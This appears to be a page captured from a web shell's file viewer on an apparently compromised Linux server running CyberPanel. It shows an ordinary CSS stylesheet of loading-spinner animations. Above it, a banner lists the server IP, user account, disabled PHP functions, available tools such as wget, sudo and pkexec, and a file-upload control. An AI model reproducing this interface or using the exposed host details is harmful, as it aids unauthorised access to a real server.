| Server IP : 202.155.9.250 / Your IP : 216.73.217.177 Web Server : LiteSpeed System : Linux srv339029361 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64 User : grabn6394 ( 1016) PHP Version : 8.0.30 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /usr/local/CyberCP/baseTemplate/static/baseTemplate/assets/elements/ |
Upload File : |
/* CSS3 basic */
.loading-spinner {
position: relative;
width: 65px;
height: 65px;
margin: 0 auto;
}
.loading-spinner i {
position: absolute;
top: 25px;
left: 52px;
display: block;
-webkit-transform-origin: -20px;
border-radius: 50%;
}
.loading-spinner i:nth-child(1) {
width: 14px;
height: 14px;
-webkit-animation: spin 1.8s .1s infinite;
}
.loading-spinner i:nth-child(2) {
width: 12px;
height: 12px;
-webkit-animation: spin 1.8s .2s infinite;
}
.loading-spinner i:nth-child(3) {
width: 10px;
height: 10px;
-webkit-animation: spin 1.8s .3s infinite;
}
.loading-spinner i:nth-child(4) {
width: 8px;
height: 8px;
-webkit-animation: spin 1.8s .4s infinite;
}
.loading-spinner i:nth-child(5) {
width: 6px;
height: 6px;
-webkit-animation: spin 1.8s .5s infinite;
}
.loading-spinner i:nth-child(6) {
width: 4px;
height: 4px;
-webkit-animation: spin 1.8s .6s infinite;
}
/* CSS3 alternate */
.loading-stick {
width: 180px;
margin: auto;
text-align: center;
vertical-align: middle;
}
.loading-stick h1 {
font-size: 12px;
margin: 10px 0 0;
text-transform: uppercase;
}
.stick {
display: inline-block;
width: 30px;
height: 3px;
margin-left: -7px;
}
.stick:nth-child(n) {
/* IE 9 */
-webkit-transform: rotate(30deg);
/* Safari and Chrome */
-moz-transform: rotate(30deg);
-ms-transform: rotate(30deg);
transform: rotate(30deg);
-webkit-animation: fall 2s infinite;
-moz-animation: fall 2s infinite;
}
.stick:nth-child(2n) {
/* IE 9 */
-webkit-transform: rotate(-30deg);
/* Safari and Chrome */
-moz-transform: rotate(-30deg);
-ms-transform: rotate(-30deg);
transform: rotate(-30deg);
-webkit-animation: rise 2s infinite;
-moz-animation: rise 2s infinite;
}
@-webkit-keyframes rise {
50% {
/* IE 9 */
-webkit-transform: rotate(30deg);
-moz-transform: rotate(30deg);
-ms-transform: rotate(30deg);
transform: rotate(30deg);
}
}
@-moz-keyframes rise {
50% {
/* IE 9 */
-webkit-transform: rotate(30deg);
-moz-transform: rotate(30deg);
-ms-transform: rotate(30deg);
transform: rotate(30deg);
}
}
@-o-keyframes rise {
50% {
/* IE 9 */
-webkit-transform: rotate(30deg);
-moz-transform: rotate(30deg);
-ms-transform: rotate(30deg);
transform: rotate(30deg);
}
@keyframes rise {
50% {
/* IE 9 */
-webkit-transform: rotate(30deg);
-moz-transform: rotate(30deg);
-ms-transform: rotate(30deg);
transform: rotate(30deg);
}
}
}
@-webkit-keyframes fall {
50% {
/* IE 9 */
-webkit-transform: rotate(-30deg);
-moz-transform: rotate(30deg);
-ms-transform: rotate(-30deg);
transform: rotate(-30deg);
}
}
@-moz-keyframes fall {
50% {
/* IE 9 */
-webkit-transform: rotate(-30deg);
-moz-transform: rotate(-30deg);
-ms-transform: rotate(-30deg);
transform: rotate(-30deg);
}
}
@-o-keyframes fall {
50% {
/* IE 9 */
-webkit-transform: rotate(-30deg);
-moz-transform: rotate(30deg);
-ms-transform: rotate(-30deg);
transform: rotate(-30deg);
}
@keyframes fall {
50% {
/* IE 9 */
-webkit-transform: rotate(-30deg);
-moz-transform: rotate(30deg);
-ms-transform: rotate(-30deg);
transform: rotate(-30deg);
}
}
}
@-webkit-keyframes fade {
50% {
opacity: .5;
}
100% {
opacity: 1;
}
}
@-moz-keyframes fade {
50% {
opacity: .5;
}
100% {
opacity: 1;
}
}
@-o-keyframes fade {
50% {
opacity: .5;
}
100% {
opacity: 1;
}
@keyframes fade {
50% {
opacity: .5;
}
100% {
opacity: 1;
}
}
}